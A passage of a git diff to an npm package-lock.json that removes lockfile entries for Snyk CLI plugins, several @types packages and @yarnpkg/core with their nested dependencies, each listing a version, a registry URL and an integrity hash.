"sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", - "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "cli-width": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-3.0.0.tgz", - "integrity": "sha512-FxqpkPPwu1HjuN93Omfm4h8uIanXofW0RxVEW3k5RKx+mJJYSthzNhp32Kzxxy3YAEZ/Dc/EWN1vZRY0+kOhbw==", - "dev": true - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true - }, - "rxjs": { - "version": "6.6.7", - "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.7.tgz", - "integrity": "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==", - "dev": true, - "requires": { - "tslib": "^1.9.0" - } - }, - "string-width": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", - "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", - "dev": true, - "requires": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.0" - } - }, - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - } - } - }, - "@snyk/java-call-graph-builder": { - "version": "1.20.0", - "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.20.0.tgz", - "integrity": "sha512-NX8bpIu7oG5cuSSm6WvtxqcCuJs2gRjtKhtuSeF1p5TYXyESs3FXQ0nHjfY90LiyTTc+PW/UBq6SKbBA6bCBww==", - "dev": true, - "requires": { - "@snyk/graphlib": "2.1.9-patch.3", - "ci-info": "^2.0.0", - "debug": "^4.1.1", - "glob": "^7.1.6", - "jszip": "^3.2.2", - "needle": "^2.3.3", - "progress": "^2.0.3", - "snyk-config": "^4.0.0-rc.2", - "source-map-support": "^0.5.7", - "temp-dir": "^2.0.0", - "tmp": "^0.2.1", - "tslib": "^1.9.3", - "xml-js": "^1.6.11" - }, - "dependencies": { - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "rimraf": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", - "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", - "dev": true, - "requires": { - "glob": "^7.1.3" - } - }, - "tmp": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", - "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", - "dev": true, - "requires": { - "rimraf": "^3.0.0" - } - } - } - }, - "@snyk/mix-parser": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@snyk/mix-parser/-/mix-parser-1.2.0.tgz", - "integrity": "sha512-WXGpI0sVHNuxQ0oLTplOI4NbKPIFkoLV9yUZskBJKMNWnWBRR3+tZr5l7qXQYoVa+Qz2YcQmrIVR2ouIT3IUow==", - "dev": true, - "requires": { - "@snyk/dep-graph": "^1.28.0", - "tslib": "^2.0.0" - }, - "dependencies": { - "tslib": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", - "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", - "dev": true - } - } - }, - "@snyk/rpm-parser": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/@snyk/rpm-parser/-/rpm-parser-2.2.1.tgz", - "integrity": "sha512-OAON0bPf3c5fgM/GK9DX0aZErB6SnuRyYlPH0rqI1TXGsKrYnVELhaE6ctNbEfPTQuY9r6q0vM+UYDaFM/YliA==", - "dev": true, - "requires": { - "event-loop-spinner": "^2.0.0" - } - }, - "@snyk/snyk-cocoapods-plugin": { - "version": "2.5.2", - "resolved": "https://registry.npmjs.org/@snyk/snyk-cocoapods-plugin/-/snyk-cocoapods-plugin-2.5.2.tgz", - "integrity": "sha512-WHhnwyoGOhjFOjBXqUfszD84SErrtjHjium/4xFbqKpEE+yuwxs8OwV/S29BtxhYiGtjpD1azv5QtH30VUMl0A==", - "dev": true, - "requires": { - "@snyk/cli-interface": "^2.11.0", - "@snyk/cocoapods-lockfile-parser": "3.6.2", - "@snyk/dep-graph": "^1.23.1", - "source-map-support": "^0.5.7", - "tslib": "^2.0.0" - }, - "dependencies": { - "tslib": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", - "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", - "dev": true - } - } - }, - "@snyk/snyk-docker-pull": { - "version": "3.2.3", - "resolved": "https://registry.npmjs.org/@snyk/snyk-docker-pull/-/snyk-docker-pull-3.2.3.tgz", - "integrity": "sha512-hiFiSmWGLc2tOI7FfgIhVdFzO2f69im8O6p3OV4xEZ/Ss1l58vwtqudItoswsk7wj/azRlgfBW8wGu2MjoudQg==", - "dev": true, - "requires": { - "@snyk/docker-registry-v2-client": "1.13.9", - "child-process": "^1.0.2", - "tar-stream": "^2.1.2", - "tmp": "^0.1.0" - }, - "dependencies": { - "tmp": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.1.0.tgz", - "integrity": "sha512-J7Z2K08jbGcdA1kkQpJSqLF6T0tdQqpR2pnSUXsIchbPdTI9v3e85cLW0d6WDhwuAleOV71j2xWs8qMPfK7nKw==", - "dev": true, - "requires": { - "rimraf": "^2.6.3" - } - } - } - }, - "@snyk/snyk-hex-plugin": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@snyk/snyk-hex-plugin/-/snyk-hex-plugin-1.1.1.tgz", - "integrity": "sha512-NXgslDo6qSvsKy2cR3Yoo/Z6A3Svae9a96j+0OUnvcZX7i6JeODreqXFD1k0vPM2JnL1G7qcdblPxz7M7ZAZmQ==", - "dev": true, - "requires": { - "@snyk/dep-graph": "^1.28.0", - "@snyk/mix-parser": "^1.1.1", - "debug": "^4.3.1", - "tslib": "^2.0.0", - "upath": "2.0.1" - }, - "dependencies": { - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "tslib": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", - "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", - "dev": true - }, - "upath": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/upath/-/upath-2.0.1.tgz", - "integrity": "sha512-1uEe95xksV1O0CYKXo8vQvN1JEbtJp7lb7C5U9HMsIp6IVwntkH/oNUzyVNQSd4S1sYk2FpSSW44FqMc8qee5w==", - "dev": true - } - } - }, "@stylelint/postcss-css-in-js": { "version": "0.37.2", "resolved": "https://registry.npmjs.org/@stylelint/postcss-css-in-js/-/postcss-css-in-js-0.37.2.tgz", @@ -3718,33 +2931,6 @@ "unist-util-find-all-after": "^3.0.2" } }, - "@szmarczak/http-timer": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.5.tgz", - "integrity": "sha512-PyRA9sm1Yayuj5OIoJ1hGt2YISX45w9WcFbh6ddT0Z/0yaFxOtGLInr4jUfU1EAFVs0Yfyfev4RNwBlUaHdlDQ==", - "dev": true, - "requires": { - "defer-to-connect": "^2.0.0" - } - }, - "@types/braces": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/@types/braces/-/braces-3.0.0.tgz", - "integrity": "sha512-TbH79tcyi9FHwbyboOKeRachRq63mSuWYXOflsNO9ZyE5ClQ/JaozNKl+aWUq87qPNsXasXxi2AbgfwIJ+8GQw==", - "dev": true - }, - "@types/cacheable-request": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.1.tgz", - "integrity": "sha512-ykFq2zmBGOCbpIXtoVbz4SKY5QriWPh3AjyU4G74RYbtt5yOc5OfaY75ftjg7mikMOla1CTGpX3lLbuJh8DTrQ==", - "dev": true, - "requires": { - "@types/http-cache-semantics": "*", - "@types/keyv": "*", - "@types/node": "*", - "@types/responselike": "*" - } - }, "@types/classnames": { "version": "2.2.11", "resolved": "https://registry.npmjs.org/@types/classnames/-/classnames-2.2.11.tgz", @@ -3756,30 +2942,12 @@ "integrity": "sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ==", "dev": true }, - "@types/debug": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.5.tgz", - "integrity": "sha512-Q1y515GcOdTHgagaVFhHnIFQ38ygs/kmxdNpvpou+raI9UO3YZcHDngBSYKQklcKlvA7iuQlmIKbzvmxcOE9CQ==", - "dev": true - }, - "@types/emscripten": { - "version": "1.39.4", - "resolved": "https://registry.npmjs.org/@types/emscripten/-/emscripten-1.39.4.tgz", - "integrity": "sha512-k3LLVMFrdNA9UCvMDPWMbFrGPNb+GcPyw29ktJTo1RCN7RmxFG5XzPZcPKRlnLuLT/FRm8wp4ohvDwNY7GlROQ==", - "dev": true - }, "@types/events": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/@types/events/-/events-3.0.0.tgz", "integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g==", "dev": true }, - "@types/flat-cache": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/@types/flat-cache/-/flat-cache-2.0.0.tgz", - "integrity": "sha512-fHeEsm9hvmZ+QHpw6Fkvf19KIhuqnYLU6vtWLjd5BsMd/qVi7iTkMioDZl0mQmfNRA1A6NwvhrSRNr9hGYZGww==", - "dev": true - }, "@types/glob": { "version": "7.1.1", "resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.1.1.tgz", @@ -3791,12 +2959,6 @@ "@types/node": "*" } }, - "@types/graphlib": { - "version": "2.1.7", - "resolved": "https://registry.npmjs.org/@types/graphlib/-/graphlib-2.1.7.tgz", - "integrity": "sha512-K7T1n6U2HbTYu+SFHlBjz/RH74OA2D/zF1qlzn8uXbvB4uRg7knOM85ugS2bbXI1TXMh7rLqk4OVRwIwEBaixg==", - "dev": true - }, "@types/hammerjs": { "version": "2.0.36", "resolved": "https://registry.npmjs.org/@types/hammerjs/-/hammerjs-2.0.36.tgz", @@ -3807,12 +2969,6 @@ "resolved": "https://registry.npmjs.org/@types/history/-/history-4.7.9.tgz", "integrity": "sha512-MUc6zSmU3tEVnkQ78q0peeEjKWPUADMlC/t++2bI8WnAG2tvYRPIgHG8lWkXwqc8MsUF6Z2MOf+Mh5sazOmhiQ==" }, - "@types/http-cache-semantics": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.0.tgz", - "integrity": "sha512-c3Xy026kOF7QOTn00hbIllV1dLR9hG9NkSrLQgCVs8NF6sBU+VGWjD3wLPhmh1TYAc7ugCFsvHYMN4VcBN1U1A==", - "dev": true - }, "@types/invariant": { "version": "2.2.34", "resolved": "https://registry.npmjs.org/@types/invariant/-/invariant-2.2.34.tgz", @@ -3852,59 +3008,11 @@ "pretty-format": "^26.0.0" } }, - "@types/js-yaml": { - "version": "3.12.6", - "resolved": "https://registry.npmjs.org/@types/js-yaml/-/js-yaml-3.12.6.tgz", - "integrity": "sha512-cK4XqrLvP17X6c0C8n4iTbT59EixqyXL3Fk8/Rsk4dF3oX4dg70gYUXrXVUUHpnsGMPNlTQMqf+TVmNPX6FmSQ==", - "dev": true - }, "@types/json-schema": { "version": "7.0.5", "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.5.tgz", "integrity": "sha512-7+2BITlgjgDhH0vvwZU/HZJVyk+2XUlvxXe8dFMedNX/aMkaOq++rMAFXc0tM7ij15QaWlbdQASBR9dihi+bDQ==" }, - "@types/keyv": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.1.tgz", - "integrity": "sha512-MPtoySlAZQ37VoLaPcTHCu1RWJ4llDkULYZIzOYxlhxBqYPB0RsRlmMU0R6tahtFe27mIdkHV+551ZWV4PLmVw==", - "dev": true, - "requires": { - "@types/node": "*" - } - }, - "@types/lodash": { - "version": "4.14.168", - "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.14.168.tgz", - "integrity": "sha512-oVfRvqHV/V6D1yifJbVRU3TMp8OT6o6BG+U9MkwuJ3U8/CsDHvalRpsxBqivn71ztOFZBTfJMvETbqHiaNSj7Q==", - "dev": true - }, - "@types/lodash.chunk": { - "version": "4.2.6", - "resolved": "https://registry.npmjs.org/@types/lodash.chunk/-/lodash.chunk-4.2.6.tgz", - "integrity": "sha512-SPlusB7jxXyGcTXYcUdWr7WmhArO/rmTq54VN88iKMxGUhyg79I4Q8n4riGn3kjaTjOJrVlHhxgX/d7woak5BQ==", - "dev": true, - "requires": { - "@types/lodash": "*" - } - }, - "@types/lodash.omit": { - "version": "4.5.6", - "resolved": "https://registry.npmjs.org/@types/lodash.omit/-/lodash.omit-4.5.6.tgz", - "integrity": "sha512-KXPpOSNX2h0DAG2w7ajpk7TXvWF28ZHs5nJhOJyP0BQHkehgr948RVsToItMme6oi0XJkp19CbuNXkIX8FiBlQ==", - "dev": true, - "requires": { - "@types/lodash": "*" - } - }, - "@types/lodash.union": { - "version": "4.6.6", - "resolved": "https://registry.npmjs.org/@types/lodash.union/-/lodash.union-4.6.6.tgz", - "integrity": "sha512-Wu0ZEVNcyCz8eAn6TlUbYWZoGbH9E+iOHxAZbwUoCEXdUiy6qpcz5o44mMXViM4vlPLLCPlkAubEP1gokoSZaw==", - "dev": true, - "requires": { - "@types/lodash": "*" - } - }, "@types/mdast": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.3.tgz", @@ -3914,15 +3022,6 @@ "@types/unist": "*" } }, - "@types/micromatch": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/@types/micromatch/-/micromatch-4.0.1.tgz", - "integrity": "sha512-my6fLBvpY70KattTNzYOK6KU1oR1+UCz9ug/JbcF5UrEmeCt9P7DV2t7L8+t18mMPINqGQCE4O8PLOPbI84gxw==", - "dev": true, - "requires": { - "@types/braces": "*" - } - }, "@types/minimatch": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.3.tgz", @@ -4018,50 +3117,17 @@ "@types/react": "*" } }, - "@types/responselike": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.0.tgz", - "integrity": "sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA==", - "dev": true, - "requires": { - "@types/node": "*" - } - }, - "@types/sarif": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/@types/sarif/-/sarif-2.1.3.tgz", - "integrity": "sha512-zf+EoIplTkQW2TV2mwtJtlI0g540Z3Rs9tX9JqRAtyjnDCqkP+eMTgWCj3PGNbQpi+WXAjvC3Ou/dvvX2sLK4w==", - "dev": true - }, "@types/scheduler": { "version": "0.16.1", "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.1.tgz", "integrity": "sha512-EaCxbanVeyxDRTQBkdLb3Bvl/HK7PBK6UJjsSixB0iHKoWxE5uu2Q/DgtpOhPIojN0Zl1whvOd7PoHs2P0s5eA==" }, - "@types/semver": { - "version": "7.3.4", - "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.3.4.tgz", - "integrity": "sha512-+nVsLKlcUCeMzD2ufHEYuJ9a2ovstb6Dp52A5VsoKxDXgvE051XgHI/33I1EymwkRGQkwnA0LkhnUzituGs4EQ==", - "dev": true - }, - "@types/treeify": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@types/treeify/-/treeify-1.0.0.tgz", - "integrity": "sha512-ONpcZAEYlbPx4EtJwfTyCDQJGUpKf4sEcuySdCVjK5Fj/3vHp5HII1fqa1/+qrsLnpYELCQTfVW/awsGJePoIg==", - "dev": true - }, "@types/unist": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.3.tgz", "integrity": "sha512-FvUupuM3rlRsRtCN+fDudtmytGO6iHJuuRKS1Ss0pG5z8oX0diNEw94UEL7hgDbpN94rgaK5R7sWm6RrSkZuAQ==", "dev": true }, - "@types/uuid": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/@types/uuid/-/uuid-8.3.0.tgz", - "integrity": "sha512-eQ9qFW/fhfGJF8WKHGEHZEyVWfZxrT+6CLIJGBcZPfxUh/+BnEj+UCGYMlr9qZuX/2AltsvwrGqp0LhEW8D0zQ==", - "dev": true - }, "@types/warning": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/@types/warning/-/warning-3.0.0.tgz", @@ -4269,452 +3335,6 @@ "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", "dev": true }, - "@yarnpkg/core": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/@yarnpkg/core/-/core-2.4.0.tgz", - "integrity": "sha512-FYjcPNTfDfMKLFafQPt49EY28jnYC82Z2S7oMwLPUh144BL8v8YXzb4aCnFyi5nFC5h2kcrJfZh7+Pm/qvCqGw==", - "dev": true, - "requires": { - "@arcanis/slice-ansi": "^1.0.2", - "@types/semver": "^7.1.0", - "@types/treeify": "^1.0.0", - "@yarnpkg/fslib": "^2.4.0", - "@yarnpkg/json-proxy": "^2.1.0", - "@yarnpkg/libzip": "^2.2.1", - "@yarnpkg/parsers": "^2.3.0", - "@yarnpkg/pnp": "^2.3.2", - "@yarnpkg/shell": "^2.4.1", - "binjumper": "^0.1.4", - "camelcase": "^5.3.1", - "chalk": "^3.0.0", - "ci-info": "^2.0.0", - "clipanion": "^2.6.2", - "cross-spawn": "7.0.3", - "diff": "^4.0.1", - "globby": "^11.0.1", - "got": "^11.7.0", - "json-file-plus": "^3.3.1", - "lodash": "^4.17.15", - "micromatch": "^4.0.2", - "mkdirp": "^0.5.1", - "p-limit": "^2.2.0", - "pluralize": "^7.0.0", - "pretty-bytes": "^5.1.0", - "semver": "^7.1.2", - "stream-to-promise": "^2.2.0", - "tar-stream": "^2.0.1", - "treeify": "^1.1.0", - "tslib": "^1.13.0", - "tunnel": "^0.0.6" - }, - "dependencies": { - "@sindresorhus/is": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.0.0.tgz", - "integrity": "sha512-FyD2meJpDPjyNQejSjvnhpgI/azsQkA4lGbuu5BQZfjvJ9cbRZXzeWL2HceCekW4lixO9JPesIIQkSoLjeJHNQ==", - "dev": true - }, - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "requires": { - "fill-range": "^7.0.1" - } - }, - "camelcase": { - "version": "5.3.1", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", - "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", - "dev": true - }, - "chalk": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", - "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "cross-spawn": { - "version": "7.0.3", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", - "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", - "dev": true, - "requires": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - } - }, - "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "requires": { - "to-regex-range": "^5.0.1" - } - }, - "got": { - "version": "11.8.2", - "resolved": "https://registry.npmjs.org/got/-/got-11.8.2.tgz", - "integrity": "sha512-D0QywKgIe30ODs+fm8wMZiAcZjypcCodPNuMz5H9Mny7RJ+IjJ10BdmGW7OM7fHXP+O7r6ZwapQ/YQmMSvB0UQ==", - "dev": true, - "requires": { - "@sindresorhus/is": "^4.0.0", - "@szmarczak/http-timer": "^4.0.5", - "@types/cacheable-request": "^6.0.1", - "@types/responselike": "^1.0.0", - "cacheable-lookup": "^5.0.3", - "cacheable-request": "^7.0.1", - "decompress-response": "^6.0.0", - "http2-wrapper": "^1.0.0-beta.5.2", - "lowercase-keys": "^2.0.0", - "p-cancelable": "^2.0.0", - "responselike": "^2.0.0" - } - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true - }, - "lru-cache": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", - "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", - "dev": true, - "requires": { - "yallist": "^4.0.0" - } - }, - "micromatch": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", - "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", - "dev": true, - "requires": { - "braces": "^3.0.1", - "picomatch": "^2.2.3" - } - }, - "path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "dev": true - }, - "semver": { - "version": "7.3.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", - "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", - "dev": true, - "requires": { - "lru-cache": "^6.0.0" - } - }, - "shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": 